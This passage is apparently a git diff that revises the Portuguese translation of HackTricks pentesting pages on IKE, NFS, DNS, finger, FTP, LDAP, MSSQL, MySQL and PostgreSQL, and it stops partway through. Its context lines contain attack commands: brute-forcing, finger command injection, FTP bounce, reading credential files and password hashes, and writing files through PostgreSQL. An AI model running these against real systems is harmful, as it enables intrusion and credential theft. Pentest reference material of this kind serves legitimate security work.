tentar todas até que uma delas funcione corretamente). ```bash @@ -177,7 +177,7 @@ psk-crack -d psk.txt **Modo agressivo IKE** combinado com uma **Chave Pré-Compartilhada (PSK)** é comumente empregado para fins de **autenticação em grupo**. Este método é aumentado por **XAuth (Autenticação Estendida)**, que serve para introduzir uma camada adicional de **autenticação de usuário**. Tal autenticação normalmente utiliza serviços como **Microsoft Active Directory**, **RADIUS** ou sistemas comparáveis. -Ao transitar para **IKEv2**, uma mudança notável é observada onde **EAP (Protocolo de Autenticação Extensível)** é utilizado em vez de **XAuth** para o propósito de autenticar usuários. Esta mudança destaca uma evolução nas práticas de autenticação dentro dos protocolos de comunicação segura. +Ao transitar para **IKEv2**, uma mudança notável é observada onde **EAP (Protocolo de Autenticação Extensível)** é utilizado em vez de **XAuth** para o propósito de autenticar usuários. Esta mudança destaca uma evolução nas práticas de autenticação dentro de protocolos de comunicação segura. ### Captura de credenciais MitM na rede local @@ -193,9 +193,9 @@ Para forçar a senha do **XAUTH** (quando você conhece um nome de grupo válido ```bash ./ikeforce.py -b -i -u -k -w [-s 1] ``` -Dessa forma, ikeforce tentará se conectar usando cada combinação de nome de usuário:senha. +Dessa forma, o ikeforce tentará se conectar usando cada combinação de nome de usuário:senha. -Se você encontrou uma ou várias transformações válidas, basta usá-las como nos passos anteriores. +Se você encontrar uma ou várias transformações válidas, basta usá-las como nos passos anteriores. ## Autenticação com um VPN IPSEC diff --git a/src/network-services-pentesting/nfs-service-pentesting.md b/src/network-services-pentesting/nfs-service-pentesting.md index deccff9e2..cdab94f4b 100644 --- a/src/network-services-pentesting/nfs-service-pentesting.md +++ b/src/network-services-pentesting/nfs-service-pentesting.md @@ -8,7 +8,7 @@ Um aspecto notável deste protocolo é a sua falta de **mecanismos de autenticação** ou **autorização** integrados. Em vez disso, a autorização depende das **informações do sistema de arquivos**, com o servidor encarregado de traduzir com precisão as **informações do usuário fornecidas pelo cliente** no formato de **autorização** exigido pelo sistema de arquivos, seguindo principalmente a **sintaxe UNIX**. -A autenticação geralmente depende de **identificadores `UID`/`GID` do UNIX e associações de grupo**. No entanto, um desafio surge devido ao potencial desajuste nas **mapeações `UID`/`GID`** entre clientes e servidores, não deixando espaço para verificação adicional pelo servidor. Consequentemente, o protocolo é mais adequado para uso em **redes confiáveis**, dado que depende desse método de autenticação. +A autenticação geralmente depende de **identificadores `UID`/`GID` do UNIX e associações de grupos**. No entanto, um desafio surge devido ao potencial descompasso nas **mapeações `UID`/`GID`** entre clientes e servidores, não deixando espaço para verificação adicional pelo servidor. Consequentemente, o protocolo é mais adequado para uso em **redes confiáveis**, dado que depende desse método de autenticação. **Porta padrão**: 2049/TCP/UDP (exceto a versão 4, que precisa apenas de TCP ou UDP). ``` @@ -46,7 +46,7 @@ Então monte-o usando: ```bash mount -t nfs [-o vers=2] : -o nolock ``` -Você deve especificar para **usar a versão 2** porque não possui **nenhuma** **autenticação** ou **autorização**. +Você deve especificar para **usar a versão 2** porque ela não tem **nenhuma** **autenticação** ou **autorização**. **Exemplo:** ```bash @@ -74,13 +74,13 @@ Para listar, montar e mudar facilmente o UID e GID para ter acesso a arquivos, v - **Uso de Portas Inseguras (`insecure`):** Quando habilitado, isso permite que o sistema utilize portas acima de 1024. A segurança das portas acima desse intervalo pode ser menos rigorosa, aumentando o risco. -- **Visibilidade de Sistemas de Arquivos Aninhados (`nohide`):** Esta configuração torna diretórios visíveis mesmo que outro sistema de arquivos esteja montado abaixo de um diretório exportado. Cada diretório requer sua própria entrada de exportação para gerenciamento adequado. +- **Visibilidade de Sistemas de Arquivos Aninhados (`nohide`):** Esta configuração torna os diretórios visíveis mesmo que outro sistema de arquivos esteja montado abaixo de um diretório exportado. Cada diretório requer sua própria entrada de exportação para gerenciamento adequado. - **Propriedade de Arquivos do Root (`no_root_squash`):** Com esta configuração, arquivos criados pelo usuário root mantêm seu UID/GID original de 0, desconsiderando o princípio do menor privilégio e potencialmente concedendo permissões excessivas. - **Não Squashing de Todos os Usuários (`no_all_squash`):** Esta opção garante que as identidades dos usuários sejam preservadas em todo o sistema, o que pode levar a problemas de permissão e controle de acesso se não for tratado corretamente. -## Escalada de Privilégios usando Configurações Incorretas do NFS +## Escalada de Privilégios usando configurações incorretas do NFS [NFS no_root_squash e no_all_squash escalada de privilégios](../linux-hardening/privilege-escalation/nfs-no_root_squash-misconfiguration-pe.md) diff --git a/src/network-services-pentesting/pentesting-631-internet-printing-protocol-ipp.md b/src/network-services-pentesting/pentesting-631-internet-printing-protocol-ipp.md index 259b9b19a..fe2563294 100644 --- a/src/network-services-pentesting/pentesting-631-internet-printing-protocol-ipp.md +++ b/src/network-services-pentesting/pentesting-631-internet-printing-protocol-ipp.md @@ -18,6 +18,6 @@ data = b"..." # IPP request data goes here response = requests.post(url, headers=headers, data=data, verify=True) print(response.status_code) ``` -Se você quiser saber mais sobre [**hacking printers leia esta página**](http://hacking-printers.net/wiki/index.php/Main_Page). +Se você quiser saber mais sobre [**hacking de impressoras, leia esta página**](http://hacking-printers.net/wiki/index.php/Main_Page). {{#include ../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-dns.md b/src/network-services-pentesting/pentesting-dns.md index b3d18ece3..1ff592c65 100644 --- a/src/network-services-pentesting/pentesting-dns.md +++ b/src/network-services-pentesting/pentesting-dns.md @@ -17,7 +17,7 @@ PORT STATE SERVICE REASON ### Diferentes Servidores DNS - **Servidores Raiz DNS**: Estes estão no topo da hierarquia DNS, gerenciando os domínios de nível superior e intervindo apenas se os servidores de nível inferior não responderem. A Internet Corporation for Assigned Names and Numbers (**ICANN**) supervisiona sua operação, com uma contagem global de 13. -- **Servidores de Nomes Autorizados**: Estes servidores têm a palavra final para consultas em suas zonas designadas, oferecendo respostas definitivas. Se não puderem fornecer uma resposta, a consulta é escalada para os servidores raiz. +- **Servidores de Nomes Autorizados**: Esses servidores têm a palavra final para consultas em suas zonas designadas, oferecendo respostas definitivas. Se não puderem fornecer uma resposta, a consulta é escalada para os servidores raiz. - **Servidores de Nomes Não Autorizados**: Sem propriedade sobre zonas DNS, esses servidores coletam informações de domínio por meio de consultas a outros servidores. - **Servidor DNS de Cache**: Este tipo de servidor memoriza respostas de consultas anteriores por um tempo determinado para acelerar os tempos de resposta para solicitações futuras, com a duração do cache ditada pelo servidor autorizado. - **Servidor de Encaminhamento**: Cumprindo um papel simples, os servidores de encaminhamento apenas retransmitem consultas para outro servidor. @@ -28,7 +28,7 @@ PORT STATE SERVICE REASON ### **Captura de Banner** Não há banners no DNS, mas você pode capturar a consulta mágica para `version.bind. CHAOS TXT`, que funcionará na maioria dos servidores de nomes BIND.\ -Você pode realizar esta consulta usando `dig`: +Você pode realizar essa consulta usando `dig`: ```bash dig version.bind CHAOS TXT @DNS ``` @@ -40,7 +40,7 @@ Também é possível capturar o banner com um script **nmap**: ``` ### **Qualquer registro** -O registro **ANY** solicitará ao servidor DNS que **retorne** todas as **entradas** disponíveis que **está disposto a divulgar**. +O registro **ANY** pedirá ao servidor DNS para **retornar** todas as **entradas** disponíveis que **está disposto a divulgar**. ```bash dig any victim.com @ ``` diff --git a/src/network-services-pentesting/pentesting-finger.md b/src/network-services-pentesting/pentesting-finger.md index e3fc2af4e..10e36dc24 100644 --- a/src/network-services-pentesting/pentesting-finger.md +++ b/src/network-services-pentesting/pentesting-finger.md @@ -33,7 +33,7 @@ finger-user-enum.pl -U users.txt -T ips.txt ``` #### **Nmap executa um script para fazer usando scripts padrão** -### Metasploit usa mais truques do que Nmap +### Metasploit usa mais truques do que o Nmap ``` use auxiliary/scanner/finger/finger_users ``` @@ -41,14 +41,14 @@ use auxiliary/scanner/finger/finger_users - `port:79 USER` -## Execução de comandos +## Execução de comando ```bash finger "|/bin/id@example.com" finger "|/bin/ls -a /@example.com" ``` ## Finger Bounce -[Use um sistema como um relé de finger](https://securiteam.com/exploits/2BUQ2RFQ0I/) +[Use um sistema como um relay de finger](https://securiteam.com/exploits/2BUQ2RFQ0I/) ``` finger user@host@victim finger @internal@external diff --git a/src/network-services-pentesting/pentesting-ftp/README.md b/src/network-services-pentesting/pentesting-ftp/README.md index e61c071dd..bd451d61d 100644 --- a/src/network-services-pentesting/pentesting-ftp/README.md +++ b/src/network-services-pentesting/pentesting-ftp/README.md @@ -24,7 +24,7 @@ Fonte: [https://www.thesecuritybuddy.com/vulnerabilities/what-is-ftp-bounce-atta ### Depuração de Conexão -Os comandos **FTP** **`debug`** e **`trace`** podem ser usados para ver **como está ocorrendo a comunicação**. +Os comandos **FTP** **`debug`** e **`trace`** podem ser usados para ver **como a comunicação está ocorrendo**. ## Enumeração @@ -43,7 +43,7 @@ lftp 10.10.10.208:~> login Usage: login [] lftp 10.10.10.208:~> login username Password ``` -### Enum não autenticado +### Unauth enum Com **nmap** ```bash @@ -105,7 +105,7 @@ Aqui você pode encontrar uma boa lista com credenciais padrão de ftp: [https:/ ### Automatizado -O login anônimo e as verificações de bounce FTP são realizadas por padrão pelo nmap com a opção **-sC** ou: +O login anônimo e as verificações de FTP de bounce são realizados por padrão pelo nmap com a opção **-sC** ou: ```bash nmap --script ftp-* -p 21 ``` @@ -115,7 +115,7 @@ Você pode se conectar a um servidor FTP usando um navegador (como o Firefox) us ```bash ftp://anonymous:anonymous@10.10.10.98 ``` -Observe que se uma **aplicação web** estiver enviando dados controlados por um usuário **diretamente para um servidor FTP**, você pode enviar bytes codificados em URL duplo `%0d%0a` (neste codificado em URL duplo é `%250d%250a`) e fazer o **servidor FTP realizar ações arbitrárias**. Uma dessas possíveis ações arbitrárias é baixar conteúdo de um servidor controlado por usuários, realizar varredura de portas ou tentar se comunicar com outros serviços baseados em texto simples (como http). +Observe que se uma **aplicação web** estiver enviando dados controlados por um usuário **diretamente para um servidor FTP**, você pode enviar bytes codificados em URL duplo `%0d%0a` (em codificação de URL dupla, isso é `%250d%250a`) e fazer com que o **servidor FTP execute ações arbitrárias**. Uma dessas possíveis ações arbitrárias é baixar conteúdo de um servidor controlado por usuários, realizar varredura de portas ou tentar se comunicar com outros serviços baseados em texto simples (como http). ## Baixar todos os arquivos do FTP ```bash @@ -135,11 +135,11 @@ wget -r --user="USERNAME" --password="PASSWORD" ftp://server.com/ - **`EPRT |2|127.0.0.1|80|`** Isso indicará ao servidor FTP para estabelecer uma conexão TCP (_indicado por "2"_) com o IP 127.0.0.1 na porta 80. Este comando **suporta IPv6**. - **`LIST`** Isso enviará a lista de arquivos na pasta atual - **`LIST -R`** Lista recursivamente (se permitido pelo servidor) -- **`APPE /path/something.txt`** Isso indicará ao FTP para armazenar os dados recebidos de uma conexão **passiva** ou de uma conexão **PORT/EPRT** em um arquivo. Se o nome do arquivo existir, os dados serão adicionados. +- **`APPE /path/something.txt`** Isso indicará ao FTP para armazenar os dados recebidos de uma **conexão passiva** ou de uma conexão **PORT/EPRT** em um arquivo. Se o nome do arquivo existir, ele irá anexar os dados. - **`STOR /path/something.txt`** Como `APPE`, mas irá sobrescrever os arquivos -- **`STOU /path/something.txt`** Como `APPE`, mas se existir, não fará nada. +- **`STOU /path/something.txt`** Como `APPE`, mas se existir não fará nada. - **`RETR /path/to/file`** Uma conexão passiva ou de porta deve ser estabelecida. Então, o servidor FTP enviará o arquivo indicado através dessa conexão -- **`REST 6`** Isso indicará ao servidor que na próxima vez que enviar algo usando `RETR`, deve começar no 6º byte. +- **`REST 6`** Isso indicará ao servidor que na próxima vez que enviar algo usando `RETR` deve começar no 6º byte. - **`TYPE i`** Define a transferência como binária - **`PASV`** Isso abrirá uma conexão passiva e indicará ao usuário onde ele pode se conectar - **`PUT /tmp/file.txt`** Carrega o arquivo indicado para o FTP @@ -155,7 +155,7 @@ Alguns servidores FTP permitem o comando PORT. Este comando pode ser usado para Você também poderia abusar desse comportamento para fazer um servidor FTP interagir com outros protocolos. Você poderia **carregar um arquivo contendo uma solicitação HTTP** e fazer o servidor FTP vulnerável **enviá-la para um servidor HTTP arbitrário** (_talvez para adicionar um novo usuário admin?_) ou até mesmo carregar uma solicitação FTP e fazer o servidor FTP vulnerável baixar um arquivo de um servidor FTP diferente.\ A teoria é fácil: -1. **Carregue a solicitação (dentro de um arquivo de texto) para o servidor vulnerável.** Lembre-se de que se você quiser falar com outro servidor HTTP ou FTP, precisa mudar as linhas com `0x0d 0x0a` +1. **Carregue a solicitação (dentro de um arquivo de texto) para o servidor vulnerável.** Lembre-se de que se você quiser falar com outro servidor HTTP ou FTP, precisa mudar de linha com `0x0d 0x0a` 2. **Use `REST X` para evitar enviar os caracteres que você não quer enviar** (talvez para carregar a solicitação dentro do arquivo você precisou colocar algum cabeçalho de imagem no início) 3. **Use `PORT` para se conectar ao servidor e serviço arbitrários** 4. **Use `RETR` para enviar a solicitação salva para o servidor.** diff --git a/src/network-services-pentesting/pentesting-ftp/ftp-bounce-download-2oftp-file.md b/src/network-services-pentesting/pentesting-ftp/ftp-bounce-download-2oftp-file.md index f02bbedb9..f131b2355 100644 --- a/src/network-services-pentesting/pentesting-ftp/ftp-bounce-download-2oftp-file.md +++ b/src/network-services-pentesting/pentesting-ftp/ftp-bounce-download-2oftp-file.md @@ -10,15 +10,15 @@ Se você tiver acesso a um servidor FTP de bounce, pode fazer com que ele solici - Credenciais válidas de FTP no servidor FTP da Vítima - Ambos os servidores aceitam o comando PORT \(ataque FTP de bounce\) - Você pode escrever dentro de algum diretório do servidor FTP Middle -- O servidor middle terá mais acesso dentro do servidor FTP da Vítima do que você por algum motivo \(isso é o que você vai explorar\) +- O servidor intermediário terá mais acesso dentro do servidor FTP da Vítima do que você por algum motivo \(isso é o que você vai explorar\) ## Steps 1. Conecte-se ao seu próprio servidor FTP e faça a conexão passiva \(comando pasv\) para que ele escute em um diretório onde o serviço da vítima enviará o arquivo -2. Crie o arquivo que será enviado pelo servidor FTP Middle para o servidor da Vítima \(o exploit\). Este arquivo será um texto simples com os comandos necessários para autenticar no servidor da Vítima, mudar o diretório e baixar um arquivo para o seu próprio servidor. +2. Crie o arquivo que será enviado pelo servidor FTP Middle para o servidor da Vítima \(o exploit\). Este arquivo será um texto simples com os comandos necessários para autenticar contra o servidor da Vítima, mudar o diretório e baixar um arquivo para o seu próprio servidor. 3. Conecte-se ao servidor FTP Middle e faça o upload do arquivo anterior 4. Faça com que o servidor FTP Middle estabeleça uma conexão com o servidor da vítima e envie o arquivo exploit -5. Capture o arquivo no seu próprio servidor FTP +5. Capture o arquivo em seu próprio servidor FTP 6. Exclua o arquivo exploit do servidor FTP Middle Para mais informações detalhadas, consulte o post: [http://www.ouah.org/ftpbounce.html](http://www.ouah.org/ftpbounce.html) diff --git a/src/network-services-pentesting/pentesting-imap.md b/src/network-services-pentesting/pentesting-imap.md index c81e911a6..fcc006f6d 100644 --- a/src/network-services-pentesting/pentesting-imap.md +++ b/src/network-services-pentesting/pentesting-imap.md @@ -91,7 +91,7 @@ apt install evolution ### CURL -A navegação básica é possível com [CURL](https://ec.haxx.se/usingcurl/usingcurl-reademail#imap), mas a documentação é escassa em detalhes, então é recomendável verificar a [fonte](https://github.com/curl/curl/blob/master/lib/imap.c) para detalhes precisos. +A navegação básica é possível com [CURL](https://ec.haxx.se/usingcurl/usingcurl-reademail#imap), mas a documentação é escassa em detalhes, então verificar a [fonte](https://github.com/curl/curl/blob/master/lib/imap.c) é recomendado para detalhes precisos. 1. Listando caixas de correio (comando imap `LIST "" "*"`) ```bash @@ -115,7 +115,7 @@ curl -k 'imaps://1.2.3.4/Drafts;MAILINDEX=1' --user user:pass ``` O índice de e-mail será o mesmo índice retornado da operação de busca. -Também é possível usar `UID` (id único) para acessar mensagens, no entanto, é menos conveniente, pois o comando de busca precisa ser formatado manualmente. Por exemplo: +Também é possível usar `UID` (id único) para acessar mensagens, no entanto, é menos conveniente, pois o comando de busca precisa ser formatado manualmente. Exemplo: ```bash curl -k 'imaps://1.2.3.4/INBOX' -X 'UID SEARCH ALL' --user user:pass curl -k 'imaps://1.2.3.4/INBOX;UID=1' --user user:pass diff --git a/src/network-services-pentesting/pentesting-kerberos-88/README.md b/src/network-services-pentesting/pentesting-kerberos-88/README.md index b3cff9818..55c3b9dea 100644 --- a/src/network-services-pentesting/pentesting-kerberos-88/README.md +++ b/src/network-services-pentesting/pentesting-kerberos-88/README.md @@ -4,9 +4,9 @@ ## Informações Básicas -**Kerberos** opera com um princípio onde autentica usuários sem gerenciar diretamente seu acesso a recursos. Esta é uma distinção importante porque sublinha o papel do protocolo em estruturas de segurança. +**Kerberos** opera com base em um princípio onde autentica usuários sem gerenciar diretamente seu acesso a recursos. Esta é uma distinção importante porque sublinha o papel do protocolo em estruturas de segurança. -Em ambientes como **Active Directory**, **Kerberos** é fundamental para estabelecer a identidade dos usuários validando suas senhas secretas. Este processo garante que a identidade de cada usuário seja confirmada antes que interajam com recursos de rede. No entanto, **Kerberos** não estende sua funcionalidade para avaliar ou impor as permissões que um usuário tem sobre recursos ou serviços específicos. Em vez disso, fornece uma maneira segura de autenticar usuários, que é um passo crítico no processo de segurança. +Em ambientes como **Active Directory**, **Kerberos** é fundamental para estabelecer a identidade dos usuários validando suas senhas secretas. Este processo garante que a identidade de cada usuário seja confirmada antes que eles interajam com os recursos da rede. No entanto, **Kerberos** não estende sua funcionalidade para avaliar ou impor as permissões que um usuário tem sobre recursos ou serviços específicos. Em vez disso, fornece uma maneira segura de autenticar usuários, que é um passo crítico no processo de segurança. Após a autenticação pelo **Kerberos**, o processo de tomada de decisão sobre o acesso a recursos é delegado a serviços individuais dentro da rede. Esses serviços são então responsáveis por avaliar os direitos e permissões do usuário autenticado, com base nas informações fornecidas pelo **Kerberos** sobre os privilégios do usuário. Este design permite uma separação de preocupações entre autenticar a identidade dos usuários e gerenciar seus direitos de acesso, possibilitando uma abordagem mais flexível e segura para a gestão de recursos em redes distribuídas. @@ -31,7 +31,7 @@ A falha MS14-068 permite que um atacante manipule o token de login Kerberos de u Outros exploits: [https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS14-068/pykek](https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS14-068/pykek) -## HackTricks Comandos Automáticos +## Comandos Automáticos HackTricks ``` Protocol_Name: Kerberos #Protocol Abbreviation if there is one. Port_Number: 88 #Comma separated if there is more than one. diff --git a/src/network-services-pentesting/pentesting-ldap.md b/src/network-services-pentesting/pentesting-ldap.md index e0b7a777e..44c7944ec 100644 --- a/src/network-services-pentesting/pentesting-ldap.md +++ b/src/network-services-pentesting/pentesting-ldap.md @@ -4,9 +4,9 @@ O uso do **LDAP** (Lightweight Directory Access Protocol) é principalmente para localizar várias entidades, como organizações, indivíduos e recursos como arquivos e dispositivos dentro de redes, tanto públicas quanto privadas. Ele oferece uma abordagem simplificada em comparação com seu predecessor, DAP, tendo uma menor pegada de código. -Os diretórios LDAP são estruturados para permitir sua distribuição em vários servidores, com cada servidor abrigando uma versão **replicada** e **sincronizada** do diretório, referida como um Directory System Agent (DSA). A responsabilidade por lidar com as solicitações recai inteiramente sobre o servidor LDAP, que pode se comunicar com outros DSAs conforme necessário para fornecer uma resposta unificada ao solicitante. +Os diretórios LDAP são estruturados para permitir sua distribuição em vários servidores, com cada servidor abrigando uma versão **replicada** e **sincronizada** do diretório, chamada de Directory System Agent (DSA). A responsabilidade por lidar com as solicitações recai inteiramente sobre o servidor LDAP, que pode se comunicar com outros DSAs conforme necessário para fornecer uma resposta unificada ao solicitante. -A organização do diretório LDAP se assemelha a uma **hierarquia de árvore, começando com o diretório raiz no topo**. Isso se ramifica para países, que se dividem ainda mais em organizações, e depois em unidades organizacionais representando várias divisões ou departamentos, finalmente alcançando o nível de entidades individuais, incluindo tanto pessoas quanto recursos compartilhados como arquivos e impressoras. +A organização do diretório LDAP se assemelha a uma **hierarquia em árvore, começando com o diretório raiz no topo**. Isso se ramifica para países, que se dividem ainda mais em organizações, e depois em unidades organizacionais representando várias divisões ou departamentos, finalmente alcançando o nível de entidades individuais, incluindo tanto pessoas quanto recursos compartilhados como arquivos e impressoras. **Porta padrão:** 389 e 636(ldaps). O Catálogo Global (LDAP no ActiveDirectory) está disponível por padrão nas portas 3268 e 3269 para LDAPS. ``` @@ -94,7 +94,7 @@ Se você tiver credenciais válidas para fazer login no servidor LDAP, pode extr pip3 install ldapdomaindump ldapdomaindump [-r ] -u '\' -p '' [--authtype SIMPLE] --no-json --no-grep [-o /path/dir] ``` -### [Brute Force](../generic-hacking/brute-force.md#ldap) +### [Força Bruta](../generic-hacking/brute-force.md#ldap) ## Enumeração @@ -274,7 +274,7 @@ done ### Apache Directory -[**Baixe o Apache Directory daqui**](https://directory.apache.org/studio/download/download-linux.html). Você pode encontrar um [exemplo de como usar esta ferramenta aqui](https://www.youtube.com/watch?v=VofMBg2VLnw&t=3840s). +[**Baixe o Apache Directory aqui**](https://directory.apache.org/studio/download/download-linux.html). Você pode encontrar um [exemplo de como usar esta ferramenta aqui](https://www.youtube.com/watch?v=VofMBg2VLnw&t=3840s). ### jxplorer @@ -286,7 +286,7 @@ Por padrão, ele é instalado em: _/opt/jxplorer_ ### Godap -Godap é uma interface de usuário de terminal interativa para LDAP que pode ser usada para interagir com objetos e atributos no AD e em outros servidores LDAP. Está disponível para Windows, Linux e MacOS e suporta binds simples, pass-the-hash, pass-the-ticket e pass-the-cert, juntamente com vários outros recursos especializados, como pesquisar/criar/mudar/excluir objetos, adicionar/remover usuários de grupos, mudar senhas, editar permissões de objetos (DACLs), modificar DNS Integrado ao Active Directory (ADIDNS), exportar para arquivos JSON, etc. +Godap é uma interface de usuário de terminal interativa para LDAP que pode ser usada para interagir com objetos e atributos no AD e em outros servidores LDAP. Está disponível para Windows, Linux e MacOS e suporta binds simples, pass-the-hash, pass-the-ticket e pass-the-cert, juntamente com várias outras funcionalidades especializadas, como pesquisar/criar/mudar/excluir objetos, adicionar/remover usuários de grupos, mudar senhas, editar permissões de objetos (DACLs), modificar DNS Integrado ao Active Directory (ADIDNS), exportar para arquivos JSON, etc. ![](../images/godap.png) @@ -310,7 +310,7 @@ Se você puder acessar os arquivos onde os bancos de dados estão contidos (pode ```bash cat /var/lib/ldap/*.bdb | grep -i -a -E -o "description.*" | sort | uniq -u ``` -Você pode alimentar o john com o hash da senha (de '{SSHA}' para 'structural' sem adicionar 'structural'). +Você pode alimentar john com o hash da senha (de '{SSHA}' para 'structural' sem adicionar 'structural'). ### Arquivos de Configuração diff --git a/src/network-services-pentesting/pentesting-mssql-microsoft-sql-server/README.md b/src/network-services-pentesting/pentesting-mssql-microsoft-sql-server/README.md index b18e78e27..f6114c865 100644 --- a/src/network-services-pentesting/pentesting-mssql-microsoft-sql-server/README.md +++ b/src/network-services-pentesting/pentesting-mssql-microsoft-sql-server/README.md @@ -12,7 +12,7 @@ De [wikipedia](https://en.wikipedia.org/wiki/Microsoft_SQL_Server): ``` 1433/tcp open ms-sql-s Microsoft SQL Server 2017 14.00.1000.00; RTM ``` -### **Tabelas de Sistema Padrão do MS-SQL** +### **Tabelas de Sistema Padrão MS-SQL** - **Banco de Dados master**: Este banco de dados é crucial, pois captura todos os detalhes em nível de sistema para uma instância do SQL Server. - **Banco de Dados msdb**: O SQL Server Agent utiliza este banco de dados para gerenciar o agendamento de alertas e trabalhos. @@ -159,10 +159,10 @@ SELECT * FROM sysusers - **Servidor** – Exemplos incluem bancos de dados, logins, endpoints, grupos de disponibilidade e funções de servidor. - **Banco de Dados** – Exemplos abrangem função de banco de dados, funções de aplicativo, esquema, certificados, catálogos de texto completo e usuários. - **Esquema** – Inclui tabelas, visões, procedimentos, funções, sinônimos, etc. -2. **Permissão:** Associada aos securables do SQL Server, permissões como ALTER, CONTROL e CREATE podem ser concedidas a um principal. A gestão de permissões ocorre em dois níveis: +2. **Permissão:** Associada a securables do SQL Server, permissões como ALTER, CONTROL e CREATE podem ser concedidas a um principal. A gestão de permissões ocorre em dois níveis: - **Nível de Servidor** usando logins - **Nível de Banco de Dados** usando usuários -3. **Principal:** Este termo refere-se à entidade que recebe permissão para um securable. Os principais incluem principalmente logins e usuários de banco de dados. O controle sobre o acesso aos securables é exercido através da concessão ou negação de permissões ou pela inclusão de logins e usuários em funções equipadas com direitos de acesso. +3. **Principal:** Este termo refere-se à entidade que recebe permissão para um securable. Os principais incluem principalmente logins e usuários de banco de dados. O controle sobre o acesso a securables é exercido através da concessão ou negação de permissões ou pela inclusão de logins e usuários em funções equipadas com direitos de acesso. ```sql # Show all different securables names SELECT distinct class_desc FROM sys.fn_builtin_permissions(DEFAULT); @@ -345,7 +345,7 @@ GO Microsoft SQL Server fornece **múltiplas procedimentos armazenados estendidos** que permitem interagir não apenas com a rede, mas também com o sistema de arquivos e até mesmo o [**Registro do Windows**](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/)**:** -| **Regular** | **Ciente da Instância** | +| **Regular** | **Ciente da Instância** | | --------------------------- | ------------------------------------ | | sys.xp_regread | sys.xp_instance_regread | | sys.xp_regenumvalues | sys.xp_instance_regenumvalues | @@ -541,9 +541,9 @@ Após validar suas permissões, você precisa configurar três coisas, que são 2. Adicionar um parâmetro de Inicialização, neste caso, um sinalizador de rastreamento será adicionado, que é -T7806. 3. Habilitar conexão remota de administrador. -Para automatizar essas configurações, [este repositório](https://github.com/IamLeandrooooo/SQLServerLinkedServersPasswords/) tem os scripts necessários. Além de ter um script em powershell para cada etapa da configuração, o repositório também possui um script completo que combina os scripts de configuração e a extração e descriptografia das senhas. +Para automatizar essas configurações, [este repositório](https://github.com/IamLeandrooooo/SQLServerLinkedServersPasswords/) tem os scripts necessários. Além de ter um script powershell para cada etapa da configuração, o repositório também possui um script completo que combina os scripts de configuração e a extração e descriptografia das senhas. -Para mais informações, consulte os seguintes links sobre este ataque: [Descriptografando Senhas de Servidor de Link do Banco de Dados MSSQL](https://www.netspi.com/blog/technical/adversary-simulation/decrypting-mssql-database-link-server-passwords/) +Para mais informações, consulte os seguintes links sobre este ataque: [Descriptografando Senhas de Servidor de Link de Banco de Dados MSSQL](https://www.netspi.com/blog/technical/adversary-simulation/decrypting-mssql-database-link-server-passwords/) [Solução de Problemas da Conexão Dedicada de Administrador do SQL Server](https://www.mssqltips.com/sqlservertip/5364/troubleshooting-the-sql-server-dedicated-administrator-connection/) diff --git a/src/network-services-pentesting/pentesting-mysql.md b/src/network-services-pentesting/pentesting-mysql.md index 4647d2820..ab8b22acc 100644 --- a/src/network-services-pentesting/pentesting-mysql.md +++ b/src/network-services-pentesting/pentesting-mysql.md @@ -222,7 +222,7 @@ cat /etc/mysql/debian.cnf ``` Você pode **usar essas credenciais para fazer login no banco de dados mysql**. -Dentro do arquivo: _/var/lib/mysql/mysql/user.MYD_ você pode encontrar **todos os hashes dos usuários MySQL** (aqueles que você pode extrair de mysql.user dentro do banco de dados)_._ +Dentro do arquivo: _/var/lib/mysql/mysql/user.MYD_ você pode encontrar **todos os hashes dos usuários do MySQL** (aqueles que você pode extrair de mysql.user dentro do banco de dados)_._ Você pode extraí-los fazendo: ```bash diff --git a/src/network-services-pentesting/pentesting-postgresql.md b/src/network-services-pentesting/pentesting-postgresql.md index 205027a54..0535f4d70 100644 --- a/src/network-services-pentesting/pentesting-postgresql.md +++ b/src/network-services-pentesting/pentesting-postgresql.md @@ -55,7 +55,7 @@ SELECT * FROM pg_extension; > [!WARNING] > Se ao executar **`\list`** você encontrar um banco de dados chamado **`rdsadmin`**, você sabe que está dentro de um **banco de dados PostgreSQL da AWS**. -Para mais informações sobre **como abusar de um banco de dados PostgreSQL**, confira: +Para mais informações sobre **como abusar de um banco de dados PostgreSQL**, consulte: {{#ref}} ../pentesting-web/sql-injection/postgresql-injection/ @@ -102,7 +102,7 @@ DETAIL: FATAL: password authentication failed for user "name" DETAIL: could not connect to server: Connection timed out Is the server running on host "1.2.3.4" and accepting TCP/IP connections on port 5678? ``` -Em funções PL/pgSQL, atualmente não é possível obter detalhes de exceção. No entanto, se você tiver acesso direto ao servidor PostgreSQL, pode recuperar as informações necessárias. Se extrair nomes de usuários e senhas das tabelas do sistema não for viável, você pode considerar utilizar o método de ataque de wordlist discutido na seção anterior, pois isso pode potencialmente resultar em resultados positivos. +Em funções PL/pgSQL, atualmente não é possível obter detalhes de exceção. No entanto, se você tiver acesso direto ao servidor PostgreSQL, poderá recuperar as informações necessárias. Se extrair nomes de usuários e senhas das tabelas do sistema não for viável, você pode considerar utilizar o método de ataque de wordlist discutido na seção anterior, pois isso pode potencialmente gerar resultados positivos. ## Enumeração de Privilégios @@ -117,7 +117,7 @@ Em funções PL/pgSQL, atualmente não é possível obter detalhes de exceção. | rolcanlogin | A função pode fazer login. Ou seja, essa função pode ser dada como o identificador de autorização da sessão inicial | | rolreplication | A função é uma função de replicação. Uma função de replicação pode iniciar conexões de replicação e criar e remover slots de replicação. | | rolconnlimit | Para funções que podem fazer login, isso define o número máximo de conexões simultâneas que essa função pode fazer. -1 significa sem limite. | -| rolpassword | Não é a senha (sempre é lida como `********`) | +| rolpassword | Não é a senha (sempre é lido como `********`) | | rolvaliduntil | Tempo de expiração da senha (usado apenas para autenticação de senha); nulo se não houver expiração | | rolbypassrls | A função ignora todas as políticas de segurança em nível de linha, veja [Seção 5.8](https://www.postgresql.org/docs/current/ddl-rowsecurity.html) para mais informações. | | rolconfig | Padrões específicos da função para variáveis de configuração em tempo de execução | @@ -254,14 +254,14 @@ GRANT pg_read_server_files TO username; ``` Você pode encontrar **mais funções** em [https://www.postgresql.org/docs/current/functions-admin.html](https://www.postgresql.org/docs/current/functions-admin.html) -### Escrita Simples de Arquivo +### Escrita Simples em Arquivo Apenas **super usuários** e membros de **`pg_write_server_files`** podem usar copy para escrever arquivos. ```sql copy (select convert_from(decode('','base64'),'utf-8')) to '/just/a/path.exec'; ``` > [!WARNING] -> 